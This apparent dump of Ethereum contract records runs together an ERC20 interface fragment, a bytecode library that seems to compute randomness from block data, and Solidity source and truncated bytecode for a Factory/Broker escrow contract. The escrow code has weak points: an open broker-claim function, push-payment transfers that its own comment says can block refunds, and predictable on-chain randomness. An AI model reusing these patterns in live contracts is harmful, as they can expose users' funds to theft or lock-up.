(uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
0x73f301cb5d711a240a59f456c1888e2be330a52ca630146080604052600436106100355760003560e01c80630b15650b1461003a575b600080fd5b61004d6100483660046100d3565b610063565b60405161005a9190610134565b60405180910390f35b60008261006f83610083565b60ff1661007c9190610179565b9392505050565b60006101004261009460014361013d565b4033856040516020016100aa94939291906100f4565b6040516020818303038152906040528051906020012060001c6100cd9190610179565b92915050565b600080604083850312156100e5578182fd5b50508035926020909101359150565b938452602084019290925260601b7fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166040830152605482015260740190565b90815260200190565b600082821015610174577f4e487b710000000000000000000000000000000000000000000000000000000081526011600452602481fd5b500390565b6000826101ad577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b50069056fea2646970667358221220150196b0e891fbcb72cc214514ce4e5244bdf7f52e97c22bc6c7cd5df1f444a864736f6c63430008000033
[ 0, 4, 7, 12, 10, 5 ]
0xf3021a6c271d044dc5f6181bbf7bfbaf9fe16538
pragma solidity ^0.4.24; contract Factory { address developer = 0x0033F8dAcBc75F53549298100E85102be995CdBF59; event ContractCreated(address creator, address newcontract, uint timestamp, string contract_type); function setDeveloper (address _dev) public { if(developer==address(0) || developer==msg.sender){ developer = _dev; } } function createContract (bool isbroker, string contract_type, bool _brokerrequired) public { address newContract = new Broker(isbroker, developer, msg.sender, _brokerrequired); emit ContractCreated(msg.sender, newContract, block.timestamp, contract_type); } } contract Broker { enum State { Created, Validated, Locked, Finished } State public state; enum FileState { Created, Invalidated // , Confirmed } struct File{ // The purpose of this file. Like, picture, license info., etc. // to save the space, we better use short name. // Dapps should match proper long name for this. bytes32 purpose; // name of the file string name; // ipfs id for this file string ipfshash; FileState state; } struct Item{ string name; // At least 0.1 Finney, because it's the fee to the developer uint price; // this could be a link to an Web page explaining about this item string detail; File[] documents; } struct BuyInfo{ address buyer; bool completed; } Item public item; address public seller = address(0); address public broker = address(0); uint public brokerFee; // Minimum 0.1 Finney (0.0001 eth ~ 25Cent) to 0.01% of the price. uint public developerfee = 0.1 finney; uint minimumdeveloperfee = 0.1 finney; address developer = 0x0033F8dAcBc75F53549298100E85102be995CdBF59; // bool public validated; address creator = 0x0; address factory = 0x0; bool bBrokerRequired = true; BuyInfo[] public buyinfo; modifier onlySeller() { require(msg.sender == seller); _; } modifier onlyCreator() { require(msg.sender == creator); _; } modifier onlyBroker() { require(msg.sender == broker); _; } modifier inState(State _state) { require(state == _state); _; } modifier condition(bool _condition) { require(_condition); _; } event AbortedBySeller(); event AbortedByBroker(); event PurchaseConfirmed(address buyer); event ItemReceived(); event IndividualItemReceived(address buyer); event Validated(); event ItemInfoChanged(string name, uint price, string detail, uint developerfee); event SellerChanged(address seller); event BrokerChanged(address broker); event BrokerFeeChanged(uint fee); // The constructor constructor(bool isbroker, address _dev, address _creator, bool _brokerrequired) public { bBrokerRequired = _brokerrequired; if(creator==address(0)){ //storedData = initialValue; if(isbroker) broker = _creator; else seller = _creator; creator = _creator; // value = msg.value / 2; // require((2 * value) == msg.value); state = State.Created; // validated = false; brokerFee = 50; } if(developer==address(0) || developer==msg.sender){ developer = _dev; } if(factory==address(0)){ factory = msg.sender; } } function joinAsBroker() public { if(broker==address(0)){ broker = msg.sender; } } function createOrSet(string name, uint price, string detail) public inState(State.Created) onlyCreator { require(price > minimumdeveloperfee); item.name = name; item.price = price; item.detail = detail; developerfee = (price/1000)<minimumdeveloperfee ? minimumdeveloperfee : (price/1000); emit ItemInfoChanged(name, price, detail, developerfee); } function getBroker() public constant returns(address, uint) { return (broker, brokerFee); } function getSeller() public constant returns(address) { return (seller); } function getBuyers() public constant returns(address[]) { address[] memory buyers = new address[](buyinfo.length); //uint val = address(this).balance / buyinfo.length; for (uint256 x = 0; x < buyinfo.length; x++) { buyers[x] = buyinfo[x].buyer; } return (buyers); } function getBuyerInfoAt(uint256 x) public constant returns(address, bool) { return (buyinfo[x].buyer, buyinfo[x].completed); } function setBroker(address _address) public onlySeller inState(State.Created) { broker = _address; emit BrokerChanged(broker); } function setBrokerFee(uint fee) public onlyCreator inState(State.Created) { brokerFee = fee; emit BrokerFeeChanged(fee); } function setSeller(address _address) public onlyBroker inState(State.Created) { seller = _address; emit SellerChanged(seller); } // We will have some 'peculiar' list of documents // for each deals. // For ex, for House we will require // proof of documents about the basic information of the House, // and some insurance information. // So we can make a template for each differene kind of deals. // Deals for a house, deals for a Car, etc. function addDocument(bytes32 _purpose, string _name, string _ipfshash) public { require(state != State.Finished); require(state != State.Locked); item.documents.push( File({ purpose:_purpose, name:_name, ipfshash:_ipfshash, state:FileState.Created} ) ); } // deleting actual file on the IPFS network is very hard. function deleteDocument(uint index) public { require(state != State.Finished); require(state != State.Locked); if(index<item.documents.length){ item.documents[index].state = FileState.Invalidated; } } function validate() public onlyBroker inState(State.Created) { // if(index<item.documents.length){ // item.documents[index].state = FileState.Confirmed; // } emit Validated(); // validated = true; state = State.Validated; } function returnMoneyToBuyers() private { require(state != State.Finished); if(buyinfo.length>0){ uint val = address(this).balance / buyinfo.length; for (uint256 x = 0; x < buyinfo.length; x++) { if(buyinfo[x].completed==false){ buyinfo[x].buyer.transfer(val); } } } state = State.Finished; } /// Abort the purchase and reclaim the ether. /// Can only be called by the seller before /// the contract is locked. function abort() public onlySeller { returnMoneyToBuyers(); emit AbortedBySeller(); // validated = false; seller.transfer(address(this).balance); } function abortByBroker() public onlyBroker { if(!bBrokerRequired) return; returnMoneyToBuyers(); emit AbortedByBroker(); } /// Confirm the purchase as buyer. /// The ether will be locked until confirmReceived /// is called. function confirmPurchase() public condition(msg.value == item.price) payable { if(bBrokerRequired){ if(state != State.Validated && state != State.Locked){ return; } } if(state == State.Finished){ return; } state = State.Locked; emit PurchaseConfirmed(msg.sender); bool complete = false; if(!bBrokerRequired){ // send money right away complete = true; seller.transfer(item.price-developerfee); developer.transfer(developerfee); } buyinfo.push(BuyInfo(msg.sender, complete)); } /// Confirm that you (the buyer) received the item. /// This will release the locked ether. function confirmReceived() public onlyBroker inState(State.Locked) { if(buyinfo.length>0){ for (uint256 x = 0; x < buyinfo.length; x++) { confirmReceivedAt(x); } } // It is important to change the state first because // otherwise, the contracts called using `send` below // can call in again here. state = State.Finished; } // function confirmReceivedAt(uint index) public onlyBroker inState(State.Locked) { // In this case the broker is confirming one by one, // the other purchase should go on. So we don't change the status. if(index>=buyinfo.length) return; if(buyinfo[index].completed) return; // NOTE: This actually allows both the buyer and the seller to // block the refund - the withdraw pattern should be used. seller.transfer(item.price-brokerFee-developerfee); broker.transfer(brokerFee); developer.transfer(developerfee); buyinfo[index].completed = true; emit IndividualItemReceived(buyinfo[index].buyer); } function getInfo() constant public returns (State, string, uint, string, uint, uint, address, address, bool) { return (state, item.name, item.price, item.detail, item.documents.length, developerfee, seller, broker, bBrokerRequired); } function getBalance() constant public returns (uint256) { return address(this).balance; } function getFileAt(uint index) public constant returns(uint, bytes32, string, string, FileState) { return (index, item.documents[index].purpose, item.documents[index].name, item.documents[index].ipfshash, item.documents[index].state); } }
0x60806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680639cf9342e14610051578063ff70fa49146100d2575b600080fd5b34801561005d57600080fd5b506100d0600480360381019080803515159060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803515159060200190929190505050610115565b005b3480156100de57600080fd5b50610113600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506102f4565b005b6000836000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633846101446103e5565b80851515151581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182151515158152602001945050505050604051809103906000f0801580156101df573d6000803e3d6000fd5b5090507f0de9c1a487b0b8d32ae985845249f33f22f7c4a93285a9d4675bd34ff8e5cd5033824286604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156102b1578082015181840152602081019050610296565b50505050905090810190601f1680156102de5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a150505050565b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061039c57503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156103e257806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b604051612d05806103f683390190560060806040526000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550655af3107a4000600855655af3107a40006009557333f8dacbc75f53549298100e85102be995cdbf59600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c60146101000a81548160ff0219169083151502179055503480156200019d57600080fd5b5060405160808062002d058339810180604052810190808051906020019092919080519060200190929190805190602001909291908051906020019092919050505080600c60146101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156200034f5783156200029f5781600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002e1565b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548160ff021916908360038111156200034157fe5b021790555060326007819055505b600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480620003fa57503373ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15620004425782600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415620004dc5733600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5050505061281580620004f06000396000f30060806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806308551a53146101645780630da5b5e3146101bb57806312065fe01461023357806335a063b41461025e578063423a7954146102755780635a9b0b89146102a0578063628e50b51461043757806362d93527146104625780636901f6681461048f5780636a6e88ba146104a65780636c5dee171461051e57806373fac6f01461065b57806385be8fe6146106725780638d69121d1461069f578063980fb0aa1461075c578063a0fb149714610773578063abff0110146107a0578063b2774b17146107f7578063bf0d0213146108b0578063c19d93fb146108f3578063d1314ee01461092c578063d69606971461098a578063dbd0e1b614610994578063e94087d6146109eb578063e99d286614610a02578063f2a4a82e14610a45578063f64bfaba14610b48575b600080fd5b34801561017057600080fd5b50610179610bb4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101c757600080fd5b506101e660048036038101908080359060200190929190505050610bda565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390f35b34801561023f57600080fd5b50610248610c36565b6040518082815260200191505060405180910390f35b34801561026a57600080fd5b50610273610c55565b005b34801561028157600080fd5b5061028a610d67565b6040518082815260200191505060405180910390f35b3480156102ac57600080fd5b506102b5610d6d565b604051808a60038111156102c557fe5b60ff16815260200180602001898152602001806020018881526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018415151515815260200183810383528b818151815260200191508051906020019080838360005b8381101561038d578082015181840152602081019050610372565b50505050905090810190601f1680156103ba5780820380516001836020036101000a031916815260200191505b50838103825289818151815260200191508051906020019080838360005b838110156103f35780820151818401526020810190506103d8565b50505050905090810190601f1680156104205780820380516001836020036101000a031916815260200191505b509b50505050505050505050505060405180910390f35b34801561044357600080fd5b5061044c610f52565b6040518082815260200191505060405180910390f35b34801561046e57600080fd5b5061048d60048036038101908080359060200190929190505050610f58565b005b34801561049b57600080fd5b506104a461102a565b005b3480156104b257600080fd5b506104d16004803603810190808035906020019092919050505061110c565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390f35b34801561052a57600080fd5b506105496004803603810190808035906020019092919050505061117f565b604051808681526020018560001916600019168152602001806020018060200184600181111561057557fe5b60ff168152602001838103835286818151815260200191508051906020019080838360005b838110156105b557808201518184015260208101905061059a565b50505050905090810190601f1680156105e25780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561061b578082015181840152602081019050610600565b50505050905090810190601f1680156106485780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b34801561066757600080fd5b5061067061136e565b005b34801561067e57600080fd5b5061069d6004803603810190808035906020019092919050505061145e565b005b3480156106ab57600080fd5b5061075a6004803603810190808035600019169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611759565b005b34801561076857600080fd5b5061077161189d565b005b34801561077f57600080fd5b5061079e6004803603810190808035906020019092919050505061194b565b005b3480156107ac57600080fd5b506107b5611a0a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561080357600080fd5b506108ae600480360381019080803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611a30565b005b3480156108bc57600080fd5b506108f1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c61565b005b3480156108ff57600080fd5b50610908611dbb565b6040518082600381111561091857fe5b60ff16815260200191505060405180910390f35b34801561093857600080fd5b50610941611dcd565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390f35b610992611dfe565b005b3480156109a057600080fd5b506109a9612104565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109f757600080fd5b50610a0061212e565b005b348015610a0e57600080fd5b50610a43600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121c9565b005b348015610a5157600080fd5b50610a5a612323565b604051808060200184815260200180602001838103835286818151815260200191508051906020019080838360005b83811015610aa4578082015181840152602081019050610a89565b50505050905090810190601f168015610ad15780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b83811015610b0a578082015181840152602081019050610aef565b50505050905090810190601f168015610b375780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b348015610b5457600080fd5b50610b5d61246b565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610ba0578082015181840152602081019050610b85565b505050509050019250505060405180910390f35b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d81815481101515610be957fe5b906000526020600020016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060000160149054906101000a900460ff16905082565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb157600080fd5b610cb9612555565b7f2e59d174afd41f9394b228b6d712c9b94b57d035e8e654713937c2ed1805d31960405160405180910390a1600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610d64573d6000803e3d6000fd5b50565b60085481565b600060606000606060008060008060008060009054906101000a900460ff16600160000160018001546001600201600160030180549050600854600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600c60149054906101000a900460ff16878054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e925780601f10610e6757610100808354040283529160200191610e92565b820191906000526020600020905b815481529060010190602001808311610e7557829003601f168201915b50505050509750858054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f2e5780601f10610f0357610100808354040283529160200191610f2e565b820191906000526020600020905b815481529060010190602001808311610f1157829003601f168201915b50505050509550985098509850985098509850985098509850909192939495969798565b60075481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fb457600080fd5b6000806003811115610fc257fe5b6000809054906101000a900460ff166003811115610fdc57fe5b141515610fe857600080fd5b816007819055507feddf6a5d82f8c9f95f788c0e19a85a523cbb07c55552e3bb8d6f8a5854a21e8d826040518082815260200191505060405180910390a15050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561108657600080fd5b600080600381111561109457fe5b6000809054906101000a900460ff1660038111156110ae57fe5b1415156110ba57600080fd5b7f8fce3301e80cf917ce4c6e2b16b8323799f73469be2157dcbb210a93539c22c560405160405180910390a160016000806101000a81548160ff0219169083600381111561110457fe5b021790555050565b600080600d8381548110151561111e57fe5b9060005260206000200160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d8481548110151561115b57fe5b9060005260206000200160000160149054906101000a900460ff1691509150915091565b60008060608060008560016003018781548110151561119a57fe5b9060005260206000209060040201600001546001600301888154811015156111be57fe5b90600052602060002090600402016001016001600301898154811015156111e157fe5b906000526020600020906004020160020160016003018a81548110151561120457fe5b906000526020600020906004020160030160009054906101000a900460ff16828054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112b85780601f1061128d576101008083540402835291602001916112b8565b820191906000526020600020905b81548152906001019060200180831161129b57829003601f168201915b50505050509250818054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113545780601f1061132957610100808354040283529160200191611354565b820191906000526020600020905b81548152906001019060200180831161133757829003601f168201915b505050505091509450945094509450945091939590929450565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113cc57600080fd5b60028060038111156113da57fe5b6000809054906101000a900460ff1660038111156113f457fe5b14151561140057600080fd5b6000600d80549050111561143757600091505b600d80549050821015611436576114298261145e565b8180600101925050611413565b5b60036000806101000a81548160ff0219169083600381111561145557fe5b02179055505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114ba57600080fd5b60028060038111156114c857fe5b6000809054906101000a900460ff1660038111156114e257fe5b1415156114ee57600080fd5b600d805490508210151561150157611755565b600d8281548110151561151057fe5b9060005260206000200160000160149054906101000a900460ff161561153557611755565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600854600754600180015403039081150290604051600060405180830381858888f193505050501580156115a9573d6000803e3d6000fd5b50600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6007549081150290604051600060405180830381858888f19350505050158015611614573d6000803e3d6000fd5b50600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6008549081150290604051600060405180830381858888f1935050505015801561167f573d6000803e3d6000fd5b506001600d8381548110151561169157fe5b9060005260206000200160000160146101000a81548160ff0219169083151502179055507fa98aaaa10623abf440af32fc7b0787b98272a5d05e687450a6c445698f55683f600d838154811015156116e557fe5b9060005260206000200160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15b5050565b60038081111561176557fe5b6000809054906101000a900460ff16600381111561177f57fe5b1415151561178c57600080fd5b6002600381111561179957fe5b6000809054906101000a900460ff1660038111156117b357fe5b141515156117c057600080fd5b600160030160806040519081016040528085600019168152602001848152602001838152602001600060018111156117f457fe5b8152509080600181540180825580915050906001820390600052602060002090600402016000909192909190915060008201518160000190600019169055602082015181600101908051906020019061184e9291906126c4565b50604082015181600201908051906020019061186b9291906126c4565b5060608201518160030160006101000a81548160ff0219169083600181111561189057fe5b0217905550505050505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118f957600080fd5b600c60149054906101000a900460ff16151561191457611949565b61191c612555565b7f69dbd123ab068cca278e2b306a6c70755e68a9f42177efdff8d82f538afff86d60405160405180910390a15b565b60038081111561195757fe5b6000809054906101000a900460ff16600381111561197157fe5b1415151561197e57600080fd5b6002600381111561198b57fe5b6000809054906101000a900460ff1660038111156119a557fe5b141515156119b257600080fd5b600160030180549050811015611a0757600180600301828154811015156119d557fe5b906000526020600020906004020160030160006101000a81548160ff02191690836001811115611a0157fe5b02179055505b50565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806003811115611a3e57fe5b6000809054906101000a900460ff166003811115611a5857fe5b141515611a6457600080fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ac057600080fd5b60095483111515611ad057600080fd5b8360016000019080519060200190611ae9929190612744565b508260018001819055508160016002019080519060200190611b0c929190612744565b506009546103e884811515611b1d57fe5b0410611b36576103e883811515611b3057fe5b04611b3a565b6009545b6008819055507fb2e22e97fe2a63979c4686c61caf76f7184161b2e09fc886ee321717ca69a26e848484600854604051808060200185815260200180602001848152602001838103835287818151815260200191508051906020019080838360005b83811015611bb7578082015181840152602081019050611b9c565b50505050905090810190601f168015611be45780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b83811015611c1d578082015181840152602081019050611c02565b50505050905090810190601f168015611c4a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a150505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cbd57600080fd5b6000806003811115611ccb57fe5b6000809054906101000a900460ff166003811115611ce557fe5b141515611cf157600080fd5b81600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f1b75d8270e5afe939fdff3cae33a061487ace0ba93a965f2548656f2369d9ca2600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15050565b6000809054906101000a900460ff1681565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600754915091509091565b600060018001543414801515611e1357600080fd5b600c60149054906101000a900460ff1615611e8d5760016003811115611e3557fe5b6000809054906101000a900460ff166003811115611e4f57fe5b14158015611e82575060026003811115611e6557fe5b6000809054906101000a900460ff166003811115611e7f57fe5b14155b15611e8c57612100565b5b600380811115611e9957fe5b6000809054906101000a900460ff166003811115611eb357fe5b1415611ebe57612100565b60026000806101000a81548160ff02191690836003811115611edc57fe5b02179055507f65674dd17109911bdb8eb8960c9589170ab40adbc59f4551a8523e3ae64c14bc33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a160009150600c60149054906101000a900460ff16151561203f5760019150600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6008546001800154039081150290604051600060405180830381858888f19350505050158015611fd2573d6000803e3d6000fd5b50600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6008549081150290604051600060405180830381858888f1935050505015801561203d573d6000803e3d6000fd5b505b600d60408051908101604052803373ffffffffffffffffffffffffffffffffffffffff16815260200184151581525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548160ff0219169083151502179055505050505b5050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156121c75733600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561222557600080fd5b600080600381111561223357fe5b6000809054906101000a900460ff16600381111561224d57fe5b14151561225957600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fe46d82ca18b3efbc720137c06201d9d5f5f97d3ee36c2b3d412884fe6801c104600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15050565b6001806000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123bd5780601f10612392576101008083540402835291602001916123bd565b820191906000526020600020905b8154815290600101906020018083116123a057829003601f168201915b505050505090806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156124615780601f1061243657610100808354040283529160200191612461565b820191906000526020600020905b81548152906001019060200180831161244457829003601f168201915b5050505050905083565b6060806000600d805490506040519080825280602002602001820160405280156124a45781602001602082028038833980820191505090505b509150600090505b600d8054905081101561254d57600d818154811015156124c857fe5b9060005260206000200160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828281518110151561250457fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080806001019150506124ac565b819250505090565b60008060038081111561256457fe5b6000809054906101000a900460ff16600381111561257e57fe5b1415151561258b57600080fd5b6000600d80549050111561269d57600d805490503073ffffffffffffffffffffffffffffffffffffffff16318115156125c057fe5b049150600090505b600d8054905081101561269c5760001515600d828154811015156125e857fe5b9060005260206000200160000160149054906101000a900460ff161515141561268f